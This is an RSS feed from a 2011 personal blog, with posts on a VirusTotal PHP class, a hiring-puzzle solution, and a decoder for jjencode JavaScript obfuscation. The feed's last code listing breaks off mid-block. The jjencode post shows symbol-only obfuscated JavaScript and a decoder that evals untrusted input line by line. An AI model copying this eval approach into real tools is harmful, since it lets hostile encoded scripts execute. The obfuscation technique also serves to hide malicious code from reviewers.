<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thomas Stig Jacobsen&#039;s constant why</title>
	<atom:link href="http://www.e-x-e.dk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.e-x-e.dk</link>
	<description></description>
	<lastBuildDate>Fri, 23 Sep 2011 07:52:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>VirusTotal API PHP class</title>
		<link>http://www.e-x-e.dk/2011/09/23/virustotal-api-php-class/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=virustotal-api-php-class</link>
		<comments>http://www.e-x-e.dk/2011/09/23/virustotal-api-php-class/#comments</comments>
		<pubDate>Fri, 23 Sep 2011 07:52:53 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2011/09/23/virustotal-api-php-class/</guid>
		<description><![CDATA[So I’m about to do a project with VirusTotal integration, therefore I went to the VirusTotal site to get API access. I create a user and after some HTTP 500’s from VirusTotal I get my API key. Great, I thought. I saw there was some guy who had already made an PHP class for the [...]]]></description>
			<content:encoded><![CDATA[<p>So I’m about to do a project with VirusTotal integration, therefore I went to the VirusTotal site to get API access. I create a user and after some HTTP 500’s from VirusTotal I get my API key. Great, I thought. I saw there was some guy who had already made an PHP class for the API so I was excited, less work for me.</p>
<p>I click the link to the download and… 404’ed! DAMMIT! I start powering up my Google-foo and finally on some chinese site I get the class (which wasn’t a class). Unfortunately the exsisting thingy wasn’t that, goood. No offence to the guy who made it. I think the code is a bit old and that is properly the reason for the lack of classes. </p>
<p>Therefore I decided to do a new class which you can get here: <a href="https://github.com/eXeDK/VirusTotal-API-PHP-class">https://github.com/eXeDK/VirusTotal-API-PHP-class</a>. </p>
<p>Please tweet me about any bugs etc. @eXeDK</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2011/09/23/virustotal-api-php-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freshplum job application puzzel thingy</title>
		<link>http://www.e-x-e.dk/2011/08/03/freshplum-job-application-puzzel-thingy/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=freshplum-job-application-puzzel-thingy</link>
		<comments>http://www.e-x-e.dk/2011/08/03/freshplum-job-application-puzzel-thingy/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 21:46:23 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2011/08/03/freshplum-job-application-puzzel-thingy/</guid>
		<description><![CDATA[This was a puzzel made by the guys at Freshplum who is hiring at the moment. Hold your horse, you need to have a Ph.D. For all of us mortals with no Ph.D. (yet, hopefully) there are no more to do than solving the puzzel they made in order for people to send in their [...]]]></description>
			<content:encoded><![CDATA[<p>This was a puzzel made by the guys at <a href="https://freshplum.com/">Freshplum</a> who is hiring at the moment. Hold your horse, you need to have a Ph.D. For all of us mortals with no Ph.D. (yet, hopefully) there are no more to do than solving the puzzel they made in order for people to send in their applications.
<p>In the bottom of the hiring page <a href="https://freshplum.com/jobs/">https://freshplum.com/jobs/</a> there is the text:</p>
<p>Send to: <strong><em>x</em></strong>@freshplum.com where <strong><em>x</em></strong> = the number that appears most frequently below.</p>
<p>And below that there’s a lot of random numbers flashing by. The code generating them is here:</p>
<div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">
<div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px" id="codeSnippet">
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum1">   1:</span> <span style="color: #0000ff">var</span> x;</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum2">   2:</span> <span style="color: #0000ff">function</span> go(){</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum3">   3:</span>     x = Math.floor(Math.random() * 11) + Math.floor(Math.random() * 11);</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum4">   4:</span>     $(<span style="color: #006080">&quot;#number&quot;</span>).html(<span style="color: #006080">'&lt;p&gt;'</span>+ x +<span style="color: #006080">'&lt;/p&gt;'</span>);</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum5">   5:</span>     setTimeout(<span style="color: #006080">'go()'</span>, 100);</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum6">   6:</span> }</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum7">   7:</span> $(document).ready(<span style="color: #0000ff">function</span>(){</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum8">   8:</span>     go();</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum9">   9:</span> })</pre>
<p><!--CRLF--></div>
</div>
<p>As you see in line 3, two random numbers between 0 and 10 are added together and put into #number. So the resulting number is between 0 and 20. Calculating the most common one can be done like this:</p>
<div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; height: 230px; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">
<div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px" id="codeSnippet">
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum1">   1:</span> $xArray = $yArray = <span style="color: #0000ff">array</span>(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10);</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum2">   2:</span> $resultArray = <span style="color: #0000ff">array</span>();</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum3">   3:</span> <span style="color: #0000ff">foreach</span>($xArray <span style="color: #0000ff">as</span> $x) {</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum4">   4:</span>     <span style="color: #0000ff">foreach</span>($yArray <span style="color: #0000ff">as</span> $y) {</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum5">   5:</span>         $result = $x + $y;</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum6">   6:</span>         $resultArray[$result] = $resultArray[$result] + 1;</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum7">   7:</span>     }</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum8">   8:</span> }</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum9">   9:</span> <span style="color: #0000ff">foreach</span> ($resultArray <span style="color: #0000ff">as</span> $key =&gt; $val) {</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum10">  10:</span>     <span style="color: #0000ff">if</span> ($val == max($resultArray))</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum11">  11:</span>         <span style="color: #0000ff">echo</span> $key;</pre>
<p><!--CRLF--></p>
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum12">  12:</span> }</pre>
<p><!--CRLF--></div>
</div>
<p>The result of the script you can see here: <a href="http://codepad.org/YA5fX8aC">http://codepad.org/YA5fX8aC</a></p>
<p>The most common number is 10, quite obvious really but there you have it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2011/08/03/freshplum-job-application-puzzel-thingy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jjencode decoder (jjdecode)</title>
		<link>http://www.e-x-e.dk/2011/07/28/jjencode-decoder-jjdecode/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=jjencode-decoder-jjdecode</link>
		<comments>http://www.e-x-e.dk/2011/07/28/jjencode-decoder-jjdecode/#comments</comments>
		<pubDate>Thu, 28 Jul 2011 12:12:44 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2011/07/28/jjencode-decoder-jjdecode/</guid>
		<description><![CDATA[So I’ve had a look at jjencode some time ago and today I decided to do a decoder for the bloody thing. Instead of creating an entire parser for JS I decided to trust the code a bit by evaling the code prior to the encoded part and thereby letting the browsers JS engine build [...]]]></description>
			<content:encoded><![CDATA[<p>So I’ve had a look at jjencode some time ago and today I decided to do a decoder for the bloody thing. Instead of creating an entire parser for JS I decided to trust the code a bit by evaling the code prior to the encoded part and thereby letting the browsers JS engine build up the scope for me to use afterwards.</p>
<p>If you have no clue what jjencode is then you can read this: <a href="http://pferrie2.tripod.com/papers/jjencode.pdf">http://pferrie2.tripod.com/papers/jjencode.pdf</a> and this: <a title="http://utf-8.jp/public/20090710/jjencode.pps" href="http://utf-8.jp/public/20090710/jjencode.pps">http://utf-8.jp/public/20090710/jjencode.pps</a>. And you can try it here: <a href="http://utf-8.jp/public/jjencode.html">http://utf-8.jp/public/jjencode.html</a>. Basicly it encoded your code into symbols only. <span style="font-family: Consolas;">alert(0)</span> would be be encoded into this (with parameter g set to “<span style="font-family: Consolas;">_</span>”):</p>
<div id="codeSnippetWrapper" style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; width: 97.5%; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; cursor: text; border: silver 1px solid; padding: 4px;">
<div id="codeSnippet" style="text-align: left; line-height: 12pt; background-color: #f4f4f4; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;">
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum1" style="color: #606060;"> 1:</span> _=~[];</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum2" style="color: #606060;"> 2:</span> _={___:++_,$$$$:(![]+<span style="color: #006080;">""</span>)[_],__$:++_,$_$_:(![]+<span style="color: #006080;">""</span>)[_],_$_:++_,$_$$:({}+<span style="color: #006080;">""</span>)[_],$$_$:(_[_]+<span style="color: #006080;">""</span>)[_],_$$:++_,$$$_:(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_],$__:++_,$_$:++_,$$__:({}+<span style="color: #006080;">""</span>)[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum3" style="color: #606060;"> 3:</span> _.$_=(_.$_=_+<span style="color: #006080;">""</span>)[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+<span style="color: #006080;">""</span>)[_.__$])+((!_)+<span style="color: #006080;">""</span>)[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_.__$])+(_._=(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum4" style="color: #606060;"> 4:</span> _.$$=_.$+(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_._$$]+_.__+_._+_.$+_.$$;</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum5" style="color: #606060;"> 5:</span> _.$=(_.___)[_.$_][_.$_];</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum6" style="color: #606060;"> 6:</span> _.$(_.$(_.$$+<span style="color: #006080;">"\""</span>+_.$_$_+(![]+<span style="color: #006080;">""</span>)[_._$_]+_.$$$_+<span style="color: #006080;">"\\"+_.__$+_.$$_+_._$_+_.__+"</span>(<span style="color: #006080;">"+_.___+"</span>)<span style="color: #006080;">"+"</span>\<span style="color: #006080;">""</span>)())();</pre>
</div>
</div>
<p>I’m aware that could lead to some code execution in the decoding part but if that code is incoded it needs the full scope inorder to eval it. All non-encoded code I would be able to filter of by myself. A code which could trigger a code execution at accident at this time would be:</p>
<div id="codeSnippetWrapper" style="text-align: left; padding-bottom: 14px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; height: 157px; max-height: 300px; font-size: 8pt; overflow: auto; cursor: text; padding-top: 4px; border: silver 1px solid;">
<div id="codeSnippet" style="text-align: left; line-height: 12pt; background-color: #f4f4f4; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;">
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum1" style="color: #606060;"> 1:</span> _=~[];</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum2" style="color: #606060;"> 2:</span> alert(0);</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum3" style="color: #606060;"> 3:</span> _={___:++_,$$$$:(![]+<span style="color: #006080;">""</span>)[_],__$:++_,$_$_:(![]+<span style="color: #006080;">""</span>)[_],_$_:++_,$_$$:({}+<span style="color: #006080;">""</span>)[_],$$_$:(_[_]+<span style="color: #006080;">""</span>)[_],_$$:++_,$$$_:(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_],$__:++_,$_$:++_,$$__:({}+<span style="color: #006080;">""</span>)[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum4" style="color: #606060;"> 4:</span> _.$_=(_.$_=_+<span style="color: #006080;">""</span>)[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+<span style="color: #006080;">""</span>)[_.__$])+((!_)+<span style="color: #006080;">""</span>)[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_.__$])+(_._=(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum5" style="color: #606060;"> 5:</span> _.$$=_.$+(!<span style="color: #006080;">""</span>+<span style="color: #006080;">""</span>)[_._$$]+_.__+_._+_.$+_.$$;</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum6" style="color: #606060;"> 6:</span> _.$=(_.___)[_.$_][_.$_];</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum7" style="color: #606060;"> 7:</span> _.$(_.$(_.$$+<span style="color: #006080;">"\""</span>+_.$_$_+(![]+<span style="color: #006080;">""</span>)[_._$_]+_.$$$_+<span style="color: #006080;">"\\"+_.__$+_.$$_+_._$_+_.__+"</span>(<span style="color: #006080;">"+_.___+"</span>)<span style="color: #006080;">"+"</span>\<span style="color: #006080;">""</span>)())();</pre>
</div>
</div>
<p>The <span style="font-family: Consolas;">alert(0)</span> in the second line would be fired off, but then again. It’s quite easy to spot in this example. If I get some more time, I’ll go the long was in decoding this the proper way.</p>
<p>In the decoder I start by finding the variable name of the main object (in the encoder that’s the paramter <span style="font-family: Consolas;">g</span>) hereafter I start splitting the encoded code up at all semi-colons (<span style="font-family: Consolas;">;</span>) with a RegEx. Here’s the two RegExs, first the one for parameter <span style="font-family: Consolas;">g</span> and then the one for splitting up the lines (<span style="font-family: Consolas;">text</span> is my input of encoded code).</p>
<div id="codeSnippetWrapper" style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; width: 97.5%; font-family: 'Courier New', courier, monospace; direction: ltr; height: 51px; max-height: 200px; font-size: 8pt; overflow: auto; cursor: text; border: silver 1px solid; padding: 4px;">
<div id="codeSnippet" style="text-align: left; line-height: 12pt; background-color: #f4f4f4; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;">
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum1" style="color: #606060;"> 1:</span> <span style="color: #0000ff;">var</span> g = text.match(/([^=])=~\[\];/)[1];</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum2" style="color: #606060;"> 2:</span> <span style="color: #0000ff;">var</span> lines = text.match(/([^;]*);/g);</pre>
</div>
</div>
<p>With <span style="font-family: Consolas;">g</span> and the <span style="font-family: Consolas;">lines</span> in hand I do a loop on the lines checking for the execution part of jjencode. If it’s not found I’ll <span style="font-family: Consolas;">eval</span> the line, otherwise I’ll set the variable <span style="font-family: Consolas;">lookAhead</span> to true and thereby concatinating the rest of the encoded lines before pulling out the encoded code out of the execution part and running eval on the thing for it to return it’s content. More explaning comes later on. Here’s the if from the loop, I’ll just run it through.</p>
<div id="codeSnippetWrapper" style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; width: 97.5%; font-family: 'Courier New', courier, monospace; direction: ltr; height: 258px; max-height: 200px; font-size: 8pt; overflow: auto; cursor: text; border: silver 1px solid; padding: 4px;">
<div id="codeSnippet" style="text-align: left; line-height: 12pt; background-color: #f4f4f4; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;">
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum1" style="color: #606060;"> 1:</span> <span style="color: #0000ff;">if</span> ( ! lines[i].match(/_.\$\(_.\$\(/) &amp;&amp; ! lookAhead) {</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum2" style="color: #606060;"> 2:</span>     eval(lines[i]);</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum3" style="color: #606060;"> 3:</span> } <span style="color: #0000ff;">else</span> {</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum4" style="color: #606060;"> 4:</span>     lookAhead = <span style="color: #0000ff;">true</span>;</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum5" style="color: #606060;"> 5:</span>     finalLine = finalLine + lines[i];</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum6" style="color: #606060;"> 6:</span></pre>
